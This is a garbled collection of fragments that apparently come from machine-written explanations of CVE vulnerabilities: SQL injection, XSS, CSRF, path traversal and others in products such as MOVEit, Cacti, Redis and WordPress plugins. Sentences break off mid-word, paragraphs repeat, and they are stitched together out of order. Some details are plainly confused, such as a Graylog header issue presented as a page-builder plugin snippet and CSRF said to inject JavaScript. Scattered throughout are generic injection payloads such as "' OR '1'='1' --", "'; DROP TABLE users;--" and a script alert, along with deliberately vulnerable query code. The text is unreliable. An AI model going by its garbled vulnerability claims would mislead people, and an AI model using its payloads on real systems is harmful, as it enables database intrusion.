ject malicious scripts into web pages viewed by other users, potentially leading to stolen information i
ltiple users. It's important to evaluate the severity based on the specific use case and environment wh

the browsers of users who subsequently view the infected form submissions via the admin panel or a
e web application without proper encoding or escaping by the plugin.

redirect the user to malicious sites.

ce, the script would execute, potentially compromising the user's session or executing actions on beh

ability and its fixes is also crucial.

resence of an XSS vulnerability.

y SQL queries and potentially access sensitive data from the TaxonWorks database.

ke "" OR '1'='1", it could lead to a SQL injection by always evaluating the WHERE condition as true, pote
of sensitive information, such as passwords, personal data, or other important database records, ultin
[/SpeciesFileGroup/taxonworks/commit/a98f2dc610a541678e1e51af47659cd8b30179ae](#).
plication, potentially leading to the exfiltration of confidential information.

anisms, compromise the integrity of the database, and in some scenarios, potentially gain administrati
financial records, proprietary business data, or any other sensitive data stored in the database.

scussing the vulnerability at 'https://youtu.be/IBMXTEI_5wY'.

, it is recommended to review database access controls, implement input validation, and use prepared
'1='1' -- ` which, if concatenated directly into a database query, would alter the query's logic and poten
entication.

odify a parameter like 'id' in a URL to be '1 OR 1=1', which could make the SQL statement executed by
n attacks. Regularly reviewing and strengthening the security configurations of web interfaces to requ
and could enable an authenticated attacker to perform unauthorized operations on the MOVEit Transf
.

he application.

one of these versions or later to remediate the vulnerability.

min' OR '1'='1';--` , which can potentially bypass authentication if not properly sanitized. This is a gener
ind '<https://www.progress.com/moveit>', which should have the latest information regarding this vulne

ccess to the MOVEit Transfer database by submitting a crafted payload.

<https://www.progress.com/moveit>).

that is inadequately sanitized before being processed by the database engine. This could lead to unal
ity for exploitation.

I allow an attacker to read sensitive data from the database, alter data, perform administration operat

ng on the permissions of the database's user account used by the web application.

" + passwordInput + """; If 'userInput' is not properly sanitized, an attacker could input a value like 'admin' into the 'password' field. This would grant the attacker full control over the database. By doing so, the attacker could potentially access unauthorized data, delete records, or even drop tables.

with access to the device can potentially tamper with the internal database, leading to session token theft or data corruption. Furthermore, it enables the overwriting of arbitrary files in the app's container, which may result in privilege escalation. Users and developers are advised to check the changelog for the latest updates and possible fixes. Additionally, there are many resources available online, such as GitHub repositories and security advisories, that provide scenario, proofs of concept, or additional insights into how the vulnerability may be exploited.

If the application supports opening documents in place with `LSSupportsOpeningDocumentsInPlace`, the attacker could exploit this feature to execute arbitrary code or gain unauthorized access to sensitive data.

• If the application uses a shared database connection pool, the attacker could reuse the connection to perform malicious queries.

om/lovasoa/SQLpage/releases/tag/v0.11.1- Security advisory: <https://github.com/lovasoa/SQLpage/releases/tag/v0.11.1>. If an attacker gains access to the configuration file, they could retrieve the database connection details. Use strong encryption for sensitive data such as database connection strings, and consider setting the `web_root` to a secure directory.

• If the application stores sensitive data such as user passwords or credit card numbers in the database, the attacker could extract this data.

re, data integrity issues, or unauthorized access to application functions.

%"'; \$result = mysql_query(\$query); `` In this example, the script takes a parameter from the URL ('search') and executes it directly using the `mysql_query` function. This allows the attacker to execute arbitrary SQL commands, potentially giving them unauthorized access to view or manipulate the database.

• If the application uses a shared database connection pool, the attacker could reuse the connection to perform malicious queries.

dentials that should not be openly accessible.

can only be triggered when the `getaddrinfo` function is called and if the hosts database in `/etc/nsswitch.conf` contains the entry `hosts: /etc/hosts`.

3/10/03/8, <https://access.redhat.com/errata/RHSA-2023:5453>, <https://access.redhat.com/errata/RHS-2023-0308>.

If an attacker provides a specific host name in the `hosts` file, the system will attempt to resolve it using the `getaddrinfo` function. If the host name corresponds to a local IP address, the system will return a successful result. However, if the host name corresponds to a non-existent IP address, the system will return an error. This flaw can be exploited to crash the system or cause other undefined behavior. It is also worth noting that exploiting this flaw requires specific conditions in the system's host database configuration, such as inserting or updating entries or performing administrative actions on the database.

lead to significant security breaches if exploited.

nce for mitigation or patching.

the contents of a file on the DBMS file system, and potentially issuing commands directly to the underlying SQL commands within user-supplied data, the attacker could manipulate the SQL statement executed gain direct access to the database.

might use the information to discover additional vulnerabilities within the system and expand the attack surface.

the fixed version as specified by the software maintainer.

icious SQL code, the application could gain unauthorized access to the contents of files that belong to other users.

```
= {"data"};Cursor cursor = db.query("table_name", columns, selection, selectionArgs, null, null, sortOrder);
```

proper sanitation, could result in the unauthorized retrieval or alteration of data within the database. This type of exploitation.

Although exploiting the vulnerability requires authentication, it can be leveraged in conjunction with an exploit to gain access to the database.

DPngFileUpload.dll to upload a malicious file, such as a web shell, into the SQL database. Once uploaded, the file bypasses standard Access Control List (ACL) configurations. Therefore, it potentially grants users access to keys they shouldn't have permission to access.

on the updated versions of Redis.

target certain keys according to the ACL rules, the attacker could execute the `SORT_RO` command to gain a foothold on the Redis instance. Redis is available on GitHub (<https://github.com/redis/redis/security/advisories/GHSA-q4jr-5p56-4xwc>), and various parameters such as 'Username' or 'Database Host' can be specified during the installation process.

e context of the user's browser session.

y in the web application.

www.cszcms.com/.

ze, the malicious script is executed in their browser, allowing the attacker to perform actions on behalf ; executed in the browser of an administrative user when viewing certain pages, such as the `reports_

rts_admin.php` page, executing JavaScript code in the victim's browser upon viewing.

ng this device name is attached to a report and viewed on the `reports_admin.php` page by a user with pt code.

the vulnerability and provide guidance on mitigation and patching strategies.

inistrator or a user with similar privileges views the reporting information through the `reports_admir tive driver names. As a result, unexpected file creation could occur on Apache Superset web servers, ai

ties could potentially impact the confidentiality and integrity of the system.

ould potentially escalate privileges, read or manipulate sensitive information, disrupt service operatio

the mailing list accessible at '<https://lists.apache.org/thread/pwdzsdmv4g5g1n2h9m7ortfnxmh7nfy>'.

<https://lists.apache.org/thread/6qk1zscc06yogxxfgz2bh2bvz6vh9g7h>.

ode when it is loaded or accessed by the Superset application, leading to unauthorized actions being t

uthorized access or exposure of sensitive database information.

database operations.

w3.

oy code within the application that fails to adequately check permissions when a database test connect n on the database configurations or potentially discover weak points for further exploitation, such as v

ot have access to.

ta.

sessions, they can potentially access data from tables meant for privileged users. For example, the user `root` can be applied.

igration files and database credentials.

tion files such as `encryption.config` and `database.config`, thus exposing the database credentials in plain text could cause substantial data breaches, compliance violations, and also undermine the integrity and confidentiality of the system.

ce to redefine the backup settings. Afterwards, the attacker can trigger a backup operation that includes the `inherabilities-delinea-secret-server`

is, data leakage, or disruption of critical industrial processes.

1. It could disrupt critical industrial operations managed by the SCADA system, potentially leading to safety metrics.

cation system to log the attacker in without a valid password, since '`OR '1'='1`' always evaluates to true. This is a common attack vector. It's also advisable to regularly review and update security policies and practice the principle of least privilege when managing vulnerabilities and mitigations.

2. It could manipulate industrial processes controlled by the SCADA system, causing service disruptions or damage to physical assets.

3. It could compromise administrative accounts by injecting malicious JavaScript code into the system's configuration data. This is especially concerning because administrative accounts usually have extensive permissions.

management information, the malicious JavaScript code injected by the attacker through the data-source code could be used to steal sensitive information or execute unauthorized actions.

malicious scripts.

ing a potential XSS attack. More sophisticated attacks could do anything from stealing cookies to performing a session hijacking. An administrator's session cookie can be captured by an attacker and used to gain access to the victim's account.

This exploit occurs when administrative accounts view the data through the `'data_debug.php'` page. The file contains a script that is executed in the victim's browser when administrative accounts view the data. This allows an attacker to inject malicious code into the victim's browser, potentially leading to unauthorized actions being performed on behalf of the administrator.

authorized JavaScript code.

50'. These and links from the Fedora Project's package announcements provide further details and context. When an administrator with sufficient privileges views these settings on the `'data_debug.php'` page, the script code is injected into the Cacti database, which can be executed in the victim's browser when administrative accounts view the data. This allows an attacker to inject malicious code that is executed when a user with 'General Administration>Graphs' privileges views the affected data. These could be considered low-level privileges, but still allow an attacker to perform unauthorized actions.

ary privileges to view graph details accesses the compromised data, the injected script executes within the victim's browser. For example, the link <https://www.debian.org/security/2023/dsa-5550> provides specific details on the security issue.

ers with General Administration rights for Sites/Devices/Data when a verbose data query is requested.

nplate.

template, the JavaScript code would execute, demonstrating a simple alert. In a real attack scenario, much more complex queries could be injected. For example, if an administrator queries for a device that uses the tampered template, the administrator's browser would execute the malicious script, revealing sensitive information such as device configurations and the steps for mitigation.

In an administrative account, the malicious scripts execute in the victim's browser. This can lead to various types of attacks, such as the data source management information in Cacti.

The exploit works by injecting malicious JavaScript into the Cacti database. When an administrator views a graph report that includes the device with the malicious template, the script is executed in the administrator's browser, potentially leading to data theft, account takeover, or other malicious activities.

This exploit was first reported in the Debian Security Advisory 'dsa-5550'.

The application fails to sanitize the input, allowing the script to be stored in the database.// When the malicious script is executed in the browser of an administrative user viewing the tainted data.

When an administrative user views a graph report that includes the device with the malicious name, the exploit triggers.

address it.

page, where device information and linked graphs are displayed, the malicious script is executed in the browser of the user.// When users with administrative access view the poisoned data. The attack vector includes modifying the 'device.php` page, the script is then stored in the Cacti database. Users, especially those with administrative privileges, can trigger the exploit by viewing the poisoned data. Since the exploited XSS is stored, the effects are persistent until the malicious data is removed from the database.

users from the vulnerability's effects.

security-announce@lists.fedoraproject.org/message/CFH3J2WVBKY4ZJNMRVOWJQK6PSLPHF/- https://lists.fedoraproject.org/pipermail/security-announce/2018-June/000000.html

ames exist in the database. This type of information leakage can lead to further targeted attacks, such as privilege escalation or denial of service attacks.

ugh the nsm-web application.

cess or disruption to the operations of MXsecurity.

evices, pollute the SQLite database, or manipulate the system operations within the MXsecurity environment.

ng the vendor's security advisory and applying any additional vendor-recommended security measures to mitigate the risk of unauthorized execution of malicious SQL queries.

'-41636%20%7C%20RealGimm%20-%20SQL%20Injection%281%29.md' and '<https://github.com/CaptivePanda/RealGimmick>' application's database connection user. This could potentially lead to a full system compromise if the database user has sufficient privileges, returning all records without proper authorization. The actual exploit would depend on what sensitive data is stored in the database, such as passwords or personal information, or disrupting database operations by altering or destroying data.

Query construction: \$sql = "SELECT * FROM invoices WHERE page_id = \$pageId"; // Lack of escaping or parameter modified. The vulnerable plugin processes this request and the SQL injection code is executed. The plugin uses the 'old_path=%2Fwoo-pdf-invoice-builder%2Ftrunk%2Fwoocommerce-pdf-invoice-ajax.php' URL to execute an unprepared SQL query. As a result of this weakness, an authenticated attacker with contributor-level access could execute arbitrary SQL queries against the database, potentially bypassing security measures like row-level security or column-level security.

3. Potentially escalate their privileges by altering user roles or permissions on the site's content and user information. 3. Potentially escalate their privileges by altering user roles or permissions on the site's content and user information. 3. Potentially escalate their privileges by altering user roles or permissions on the site's content and user information.

This vulnerability was discovered by a member of the Wordfence Threat Intel team. It is important to note that this exploit requires an authenticated user with administrator-level privileges to manipulate SQL queries and potentially extract sensitive data from the database.

swords from the database. A hypothetical code snippet for the vulnerable part of the Colibri Page Builder plugin: \$node->session->get('X-Graylog-No-Session-Extension'); // This reaches its original expiry time. This issue occurs due to each node maintaining an isolated in-memory session to use their cached version of the session since they do not immediately become aware that the session has been invalidated by an unauthorized API request against the Graylog cluster by setting the 'X-Graylog-No-Session-Extension' header to 'true'. A patched version of the plugin has been released to mitigate the risk.

Event potential unauthorized access through the exploitation of this vulnerability. The advisory detailing this vulnerability is published at: <https://github.com/Graylog2/graylog2/pull/133>, and the advisory detailing this vulnerability is published at: <https://github.com/Graylog2/graylog2/pull/133>. This discrepancy between the UI representation and actual session state may lead users to believe that they have valid session information, which can lead to unauthorized access or deletion of data in the database.

Event potential unauthorized access through the exploitation of this vulnerability. The advisory detailing this vulnerability is published at: <https://github.com/Graylog2/graylog2/pull/133>, and the advisory detailing this vulnerability is published at: <https://github.com/Graylog2/graylog2/pull/133>. This discrepancy between the UI representation and actual session state may lead users to believe that they have valid session information, which can lead to unauthorized access or deletion of data in the database.

'1=1', to alter the query's logic and gain unauthorized access or manipulate the database.
↓ perform other malicious activities.

However, it does not result in the disclosure of any business data.

ed to gain further insights into the server's configuration. This could be a starting point for more comp
ty of the registrar database.

hines, thus creating a hidden security risk.

222693- GitHub Commit: <https://github.com/keylime/keylime/commit/9e5ac9f25cd400b16d5969f53>
uent is added to the verifier list, the attacker could then control the reporting status of the machine bei
GHSA-f4r5-q63f-gcww may contains details about the fix and mitigations.

the vulnerability. By examining the difference between the previous and fixed code, it's possible to unc
eriouslySetInnerHTML' prop without sanitizing HTML content, allowing for potential XSS attacks by cont

r, potentially leading to unauthorized actions being performed, data theft, or other security breaches.
y CMS, indicating that it could be an insider threat or anyone who gains such access through other me
cific security vulnerability.

@webiny/react-rich-text-renderer' without proper sanitization on a webpage, the script would execut

7cpq.
cessible through this vulnerability.

count based on the time taken by the system to respond. This type of vulnerability is often related to t
n to infer valid and invalid email addresses. This could then be used for more targeted attacks, such as

of account compromise attempts. Users are advised to update to version 1.3.7 and to be vigilant for si
ether an entered email was associated with an existing user account by showing an error for non-existi
or not. Alongside this, a generic message stating "If the entered email is associated with an account, a
ted in an error. This would let the attacker identify which email addresses were associated with accou

or force-logging out the user other than the manual approaches like cleaning the session database or c

starting the webserver. Users resetting their passwords are informed with a flash message warning about session fixation.

3x4l80nj- The OSS security mailing list post: <https://www.openwall.com/lists/oss-security/2023/08/23> discusses a session fixation issue where users can reuse their old session without interruption thanks to the session fixation issue. Within this window, an attacker can perform various database operations.

This vulnerability can be quite serious if successfully exploited.

An attacker might read sensitive data, delete records, or even execute arbitrary SQL code. For example, if the application uses dynamic SQL generated by user input, it could result in a statement such as: `SELECT * FROM users WHERE username = "`

This could lead to unauthorized access, modification, or deletion of data. It is important to note that the vulnerability is serious and should be treated with urgency.

The exploit works by convincing the application to run a malicious SQL query. This could be achieved through various means, such as sending a specially crafted request or injecting code into the application's source code.

A patch has been released to address this SQL injection vulnerability to prevent potential exploitation.

The patch addresses the issue by validating user input and ensuring that it does not contain any malicious SQL code.

When the malicious gem is installed, it will be served to users.

To check for vulnerabilities, it is recommended to use tools like `bundle add bundler-integrity` followed by `bundle exec bundler-integrity` to compare local checked-in gems against the latest versions available on RubyGems.org.

The advisory can be found at <https://github.com/rubygems/rubygems.org/security/advisories/GHSA-rxcq-2m4f-94wm>.

Attackers can conduct SQL injection attacks on an affected system due to improper validation of user-supplied input. They can then manipulate the database to insert, update, delete records, or even execute arbitrary SQL code.

Attackers can also use privilege escalation techniques to gain administrative privileges on the system. This could lead to a full system compromise.

It is important to keep track of system logs and monitor for unusual activity to detect potential attacks.

By understanding the nature of the vulnerability and taking appropriate measures to mitigate it, organizations can protect their systems from potential attacks.

TigerGraph is a graph database system that allows users to query and analyze large amounts of graph data. A recent vulnerability was discovered in the system that could allow an attacker to manipulate the database. This could lead to unauthorized access to confidential data or even changes to the system's behavior. It could also undermine the trust in the organization's ability to secure customer data, leading to loss of confidence in the system. A remote TigerGraph system could exploit this vulnerability to alter the behavior of the database, effectively giving an attacker control over the system. This could lead to a breach of data integrity and security, as well as the ability to execute malicious C/C++ code for new UDFs, or alter existing ones. This code is then compiled and executed by the system.

est information through reliable security bulletins or databases for an updated Base Score, if available. Recommended to monitor for any unusual behavior that may indicate an exploitation attempt and to ensure for an attacker to store malicious payloads in the database and have them executed when loaded.

network exposure can reduce the risk of exploitation.

If templates, the malicious script can be executed in the context of the user's browser session, potentially (e.g., <https://github.com/OpenNMS/opennms/pull/6365> and <https://github.com/OpenNMS/opennms/pull/6366>).

Exploited by an attacker with the capability to execute operating system commands on the device to read such as reading sensitive information, modifying data, or deleting records, potentially disrupting operations.

Access to the postgres database. For example, they might issue SQL commands like `SELECT * FROM table;` to exfiltrate data or `psql -U [hardcoded username] [database name]` to access the database and then execute SQL commands.

access or manipulation, and potentially further exploitation of the system if the database is used for remote connections. For example, an attacker could use the command `psql -h [remote IP] -U [hardcoded username] [database name]` to access the database and then execute SQL commands.

Granting excessive privileges to critical systems, add bogus user accounts for continued access, or extract sensitive user data. This could lead to unauthorized access, data theft, or system compromise. Exploited by an attacker who has gained access to the database and is able to execute arbitrary SQL commands.

through the CVE's details.

The vulnerability is triggered when an administrator executes a query containing a placeholder like `ODY\$SELECT * FROM @extschema@.table WHERE id = \$1\$BODY\$`, and `@extschema@` can be influenced by an attacker. This allows the attacker to execute arbitrary SQL code as the superuser, possibly leading to data theft or system compromise. Exploited by an attacker who has gained access to the database and is able to execute arbitrary SQL commands.

, and the detailed report on HackerOne at <https://hackerone.com/reports/1994328>.
erconnected systems. Given that Nextcloud is often used as a central platform for file sharing and collaboration, an attacker can inject arbitrary SQL commands which will be executed against the database.

case, potentially compromising the integrity, confidentiality, or availability of the data.

data from other tables, or 'INSERT' to add malicious records. For example, if the vulnerable parameter allows attackers to inject arbitrary SQL commands to be executed against the database.

Without proper sanitization, an attacker could submit a value like '1 OR 1=1' to manipulate the SQL query. Implementing input validation and sanitization procedures to prevent similar issues in the future.

In component.

The following statement constructs a SQL query by directly appending user input. `sql_query = "SELECT * FROM file WHERE name = $filename;"` This retrieves the content of a given file present on the DBMS file system, and in some cases, issue commands to the database.

Patched.

commands that will be executed against the database.

Attackers can exploit this vulnerability by injecting malicious SQL code. For example, they might enter a query like: ' OR '1'='1; DROP TABLE users; --'. This could result in the execution of a command that drops the 'users' table. An attacker could also use this vulnerability to compromise the integrity and availability of the application by manipulating the database, and potentially access, modify, or delete information in the database.

, integrity, and availability.

An attacker can use this vulnerability to compromise the database as a foothold to launch further attacks against the underlying system or network infrastructure. In this pseudocode, 'unsafeInput' is a user-controlled parameter that is concatenated directly into a SQL query.

This allows an attacker to inject arbitrary SQL code that is executed against the database.

This query is executed without sanitizing the `user_input`, leading to SQL injection. `execute(query)```` In this case,

SQL commands intended to extract sensitive information from the database, modify or delete data, or p into SQL queries. This flaw could potentially allow an attacker to manipulate queries and conduct una

attacker to interfere with database queries and perform operations like data theft, data manipulation o

y = 'SELECT * FROM events WHERE event_date = ' + user_date_inputresults = execute_query(sql_quer
vulnerable feature. Successful exploitation could allow the attacker to, for instance, bypass application log

commands against the database.

given files present on the DBMS file system and in some cases, issue commands to the underlying oper
ase. If successful, the attacker would manipulate the SQL logic and carry out unauthorized actions on t
includes a payload ('; DROP TABLE users;--) that if inserted into a vulnerable SQL query, could result in th

elete data, or execute unwanted actions on the database.

bitrary SQL commands that are then executed against the database.

abase.

ng like '1 OR 1=1', which if embedded into a query, might turn a legitimate query into one that returns

ecuted against the database.

commands to the original query. For example, if the input is supposed to be an email address, an atta
ery. Successful exploitation could allow the attacker to read sensitive data from the database, modify c
neterized queries, and employing least privilege principles in database permissions.

r to inject arbitrary SQL code to be executed against the database.

the 'user_input' variable is directly concatenated to the SQL query without any sanitization. If 'user_in
tion, or control over database structure. The attack could lead to data theft, loss of data integrity, and

at the time the information was released.

attackers to inject arbitrary SQL commands.

reaches or manipulation of the database.

y the database, giving the attacker unauthorized access to data or allowing for database manipulation, ds executed against the database.

atabase compromise.

the system, allowing the attacker to manipulate or access data without authorization.

`SELECT * FROM reports WHERE vendor_state = 'OH; DROP TABLE vendors; --"`. This would cause the database to execute the provided SQL command.

plementing least privilege access controls to limit the potential impact of such vulnerabilities.

input to be passed directly to a SQL query, potentially allowing attackers to inject arbitrary SQL commands.

a. This is a critical security issue because SQL injections can provide attackers with direct access to back-end databases, allowing them to execute arbitrary SQL code from being executed. Patches or updates provided by ScienceLogic should be applied immediately.

The application constructs a SQL query string by concatenating user input with the rest of the query. For example, if the user enters 'OR 1=1', the resulting query would be `SELECT * FROM reports WHERE vendor_state = 'OH; DROP TABLE vendors; --' OR 1=1`. The application then executes this query. Since the application does not sanitize the input, the user's input is treated as part of the SQL query and is executed by the database server, leading to a compromise of the database's integrity.

An example of how this could be exploited is if the user enters something like `'1' OR '1'='1'`, and the platform's backend SQL query is constructed without proper sanitization.

escalate their privileges within the database or carry out other malicious activities, such as planting backdoors or deleting sensitive data.

against the database.

If the application does not properly validate or escape this input, the attacker's SQL commands would be executed. For example, if the user enters `" + schedule_editor_input + """;try { Statement statement = databaseConnection.createStatement(); statement.executeUpdate(query); } catch (SQLException e) { e.printStackTrace(); }`, which can allow attackers to inject malicious SQL code into the database.

For instance, if the user enters `'SELECT * FROM schedules WHERE id = 'user_input';'` without sanitization, the resulting SQL query would be `SELECT * FROM schedules WHERE id = 'user_input';`. This would result in the loss of data integrity of the data, and potentially escalating privileges within the application or the underlying system.

This is a classic example of an attacker injecting and executing arbitrary SQL code against the database.

orates into a database query, it could be used to alter the execution of that query and possibly leak or gain control of the database server. An attacker might be able to manipulate SQL queries by injecting arbitrary SQL statements to be executed against the database.

Administrative rights on the vulnerable system to the attacker.

• SQL query and executed against the database. For example, input such as 'admin' OR '1'='1' might be

password = 'password';// The resulting query would be as follows:// SELECT * FROM users WHERE user = 'admin' OR password = 'password';// This could lead to security audits and code reviews. Additionally, adhering to the principle of least privilege and keeping administrative privileges. If exploited, this could allow a local attacker to execute operating system commands without

allowing them to perform unauthorized actions on the system.

• administrative rights, or disrupt operations on the affected machine.

• Vulnerability, potential impacts, mitigation strategies, and any other relevant details.

• Standard and consensus reached among industry professionals.

• Exploit a service, malicious scripts, or by taking advantage of other vulnerabilities to elevate privileges. Since this is a complex process, it will not be detailed here.

• In conclusion, it is important to regularly update software, patch known vulnerabilities, and implement strong access controls to prevent unauthorized access to sensitive data.

• To mitigate the risk of SQL injection attacks, it is recommended to use prepared statements and parameterized queries to separate SQL commands from user input.

• Another way to mitigate the risk is to limit the privileges of database users and only grant them the minimum necessary permissions.

• It is also important to regularly audit database logs and monitor for unusual activity to detect and respond to potential threats.

I.

potentially use other techniques like rainbow tables, brute force attacks, or hash cracking tools to obtain this vulnerability: <https://me.sap.com/notes/3341460>, <https://www.sap.com/documents/2022/02/fa8e60039b.html>.

rem if the database contains execution procedures or serves as an entry point for other systems. neters. An example scenario could be an attacker using a specially crafted SQL statement like 'SELECT *'. lark traffic for unusual patterns indicative of exploitation attempts, and regularly conduct security audit he-middle (MITM) attacks. This vulnerability has been fixed in version 23.7.4.0, with SSL certificate validation for the affected application and other servers.

rustworthy, the request would proceed without any warnings or errors, which is not secure.

ng. Since SSL certificate validation was not being performed, the application would not be able to authen sdb/mindsdb/commit/083afc6567cf51aa7d89ea892fd97689919053b- Release tag: <https://github.com>

eading to information manipulation or denial of service.

manipulated content in place of the original one to causing a denial of service by preventing access to

URL notes by enabling `requireFreeURLAuthentication` or `CMD_REQUIRE_FREEURL_AUTHENTICATION` the information shared in HedgeDoc.

</hedgedoc/hedgedoc/security/advisories/GHSA-7494-7hcf-vxpg>).

, was identified as the primary vector for the exploit, allowing user-supplied strings to inject executable

to remote code execution. For instance, an attacker could submit a payload through the database connection

bitrary local file system resources available to the service's system user account. The path validation mechanism account has access to. It's worth noting that, as per the provided information, there are no publicly available

3/Aug/8- OX App Suite's security documentation at <https://documentation.open-xchange.com/security>

tion and its hosted data, potentially gaining unauthorized access or causing other malicious activity.

ling to the permissions.

ess to. For instance, the user might get updates on changes happening to other users' data in the 'direc-
ries.

initial service disruption.

| the database.

stem by including directory traversal payloads within a ZIP archive.

he file paths contained in the ZIP archive, so that when extracted, files from the ZIP are written to loca-

e database from this ZIP file, the altered file paths could cause the extraction process to write files to a
ons through a websocket interface, potentially enabling unauthorized backup, loading, and clearing of t

[it/governance/cyber-security/product-security/vocera-report-server-vulnerabilities--cve-2022-46898--](#)
; backing up, loading, or clearing the database without proper authorization.

ng the data, leading to loss of data, system downtime, or unauthorized access to sensitive information
on that handles database restorations from a ZIP archive, which expects an SQL import file. An attacke
cker can point the restoration process to malicious content. If successful, the exploit could potentially

ete, or corrupt sensitive data, interfere with server operations, or possibly gain unauthorized access to
[er-security/product-security/' and 'https://www.stryker.com/us/en/about/governance/cyber-security](#)

| directory. Once the admin initiates a database restoration process and this ZIP file is used, the attacke

oit-steelseries-subapp-privilege-escalation'.

ges on the system, possibly taking complete control of the affected machine.

nd database.

ating that the vulnerability might be less likely to be exploited compared to other more easily exploita

nmands against the back-end database.

gain unauthorized access to the database, extract sensitive data, alter records, or perform other malic
for potential new threats or additional mitigation instructions.

<http://esri.com/arcgis-blog/products/trust-arcgis/administration/arcgis-insights-security-patches-for-arcgis-in>

alicious input.

ions should apply these patches to mitigate the vulnerability.

is expected, the attacker might enter something like '105 OR 1=1; DROP TABLE users;' which, if not pro

could scan for and extract any sensitive information available in the database, leading to a data breach
ation, including loss of trust, regulatory penalties, and financial loss.

cess through multiple protocols to compromise the Java VM. Successful exploitation could result in ur

rive the score is (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N).

a crafted request via network protocols to the vulnerable Java VM and manipulate some of the data th
perform their jobs, and should monitor their systems for any suspicious activities that could indicate a
h a vulnerability could be exploited.

ilege and network access via Oracle Net to compromise Unified Audit.

ng false entries to conceal their activities, thereby undermining the integrity of the Unified Audit syste
d SYSDBA privileges and monitor network traffic for suspicious Oracle Net activities.

cess via Oracle Net to potentially compromise the Advanced Networking Option, leading to unauthoriz
mpact according to the score.

with no impact on confidentiality (C:N), low impact on integrity (I:L), and no impact on availability (A:†

database operations to alter data, potentially inserting, updating, or deleting records without proper a
tion guidance to protect against potential exploits.

entially lead to the retrieval of sensitive information stored in the database.

, or deleting data.

privacy violations, identity theft, data tampering, and potentially a full compromise of the website's s

oper or official website for the latest updates and patches.

s of SQL-related attacks. Note that this is a simplified example and real-world attacks can be much mo

d sensitive files if they know when the form was submitted.

database credentials and secrets.

i-2000b4fb8fee.

Manager within the 3DPrint plugin to create an archive containing sensitive files. Given the predictabili

he database.

corrupt sensitive data, affecting the integrity and confidentiality of the application.

userLabel;List results = session.createQuery(hqlQuery).list();``In this scenario, `userLabel` is directly cc
rypted transfer of these passwords within the LoginController.scala during the initial login process. Th

es. The exact changes made can be found in the commit and releases linked in the CVE's references.
illy intercept the unencrypted password during transit from a user's initial login attempt. This informat
offer specific details on the nature of the solution and instructions for implementing the update for aff

ility is present in all versions of Redis with Lua scripting support, starting from version 2.6, and only aff

object.org/archives/list/package-announce@lists.fedoraproject.org/message/MIF5MAGYARYUMRFK7P
execute arbitrary code on the server running Redis. This could lead to data theft, service disruption, o
the payload in its storage system, such as a database. When other users visit the compromised web pa
l's browser, which can lead to unauthorized actions on behalf of the victim, theft of sensitive informati

2023/08/msg00027.html', and a ticket discussing the vulnerability was made available on the Zabbix site. The content that contains the malicious input, the script executes in their browsers. This could lead to taint initialization or encoding. \$unsafe_comment = \$_POST['comment']; \$mysqli->query("INSERT INTO con`formation from the application's database.

ieve data which should otherwise be inaccessible.

RE username = " OR '1'='1' AND password = 'somepassword', effectively allowing access without proper SQL queries, which could lead to unauthorized data retrieval or even database manipulation.

Team (PSIRT): <https://psirt.global.sonicwall.com/vuln-detail/SNWLD-2023-0010>- SonicWall Support Note to accurately gauge the severity of this particular CVE.

tel page at <https://www.wordfence.com/threat-intel/vulnerabilities/id/c9c1ddaf-4bf2-4937-b7bf-a09> database to extract sensitive information, alter data, or perform other malicious actions. For example

to exfiltrate non-public data from a Decidim instance's underlying database, potentially leading to sensitiv

d retrieve sensitive information such as private user details or privileged content not intended to be published/GHSA-jm79-9pm4-vrw9#advisory-comment-81110

o organizations using the platform, especially when dealing with users' personal information. Leading of random heap memory, heap corruption, and potential remote code execution.

3- Fedora Project package announcements at <https://lists.fedoraproject.org/archives/list/package-ann> a crafted command referencing a variadic list of key names. These commands could be designed to tri

r's consent since the plugin fails to properly verify the source of the request, potentially leading to unauthorized state-changing requests require valid token verification before being processed. This effectively prever

in unauthorized actions such as extraction of sensitive data from the database or manipulation of data without admin's consent. The vulnerability arises from the fact that the email of the user to be deleted is passed directly to the database query.

-1-0-cross-site-request-forgery-csrf/.

onally deleting a user account. This can happen without the admin realizing it because the action is triggered by a user who has already logged in. If the user sends a request to delete their own account, the application will execute the SQL query `$sql = 'DELETE FROM users WHERE email = '$email';` without any CSRF token verification, which allows an attacker to inject arbitrary JavaScript code into the application.

coding, the code could be executed in the context of a user's session, leading to XSS attacks. XSS attacks allow users to phishing sites, manipulating page content, stealing credentials, or other sensitive information. Various measures can be implemented to mitigate such vulnerabilities.

Websites from each other. XSS can lead to serious security breaches, such as the theft of cookies, tokens, or even full system compromise if coupled with other vulnerabilities.

`\%3Ealert('XSS')\%3C%2Fscript\%3E`This example URL-decodes to: `<script>alert('XSS')</script>`, which, if run in a browser, will trigger an alert box with the message "XSS". It is important to regularly reviewing and updating security controls and configurations.

Potential for unauthorized data access, data manipulation, and in some cases, command execution on the server. An example of such an attack is described in the article <https://www.vulnus.com.tr/2023/06/21/food-ordering-system-v1-0-authenticated-sql-injection/> that describes the vulnerability. An attacker can manipulate the SQL query in a way that returns all records from the database or allows for unauthorized access. This could lead to administrative access or even command execution on the server hosting the database. The vulnerability was found within the MOVEit database.

Access to the MOVEit Transfer database, leading to unauthorized disclosure and manipulation of data. The affected versions are MOVEit Transfer 13.1.7 (13.1.7), 2022.0.7 (14.0.7), 2022.1.8 (14.1.8), and 2023.0.4 (15.0.4). The exploit was discovered by researchers at [vulnus.com](https://www.vulnus.com.tr).

ther disclose sensitive information, modify database data, or even potentially escalate privileges or expropriate to ensure they are protected.

their current installation. They should also ensure that best practices for database security, such as using parameterized queries. If user input validation is not properly sanitizing the input before using it in a SQL query, this could execute the attack.

<https://github.com/OpenTSDB/opentsdb/commit/fa88d3e4b5369f9fb73da384fab0b23e246309ba> - https://github.com

to the Gnuplot configuration file. Once the Gnuplot is executed with this configuration, those commands will be run on the system, bypassing standard security measures.

sures in place.

or by implementing proper authentication and authorization controls.

he database, extract sensitive information, or potentially compromise the whole web server. Attackers can interfere with the database operations.

```
$column = "" . $user_input . """;$result = mysqli_query($connection, $query); // ... rest of the code ...?>``  
ter: " OR '1'='1' -- `This is a typical SQL injection payload that could trick the database into executing un  
intended queries, such as dropping tables or inserting malicious data. An attacker could potentially access sensitive data, including the entire installations database, if a backup is made and restored.
```

Including the whole database of the WordPress installation.

plugin developer and to apply patches as soon as they are released.

https://wpvulndb.com/changeset?sf_email=&sfph_email=&reponame=&old=2923512%40mainwp-child&new=2923512%40mainwp-child - https://wpvulndb.com

Upon finding these backups, the attacker could download them and extract sensitive information, such as user names, emails, and phone numbers.

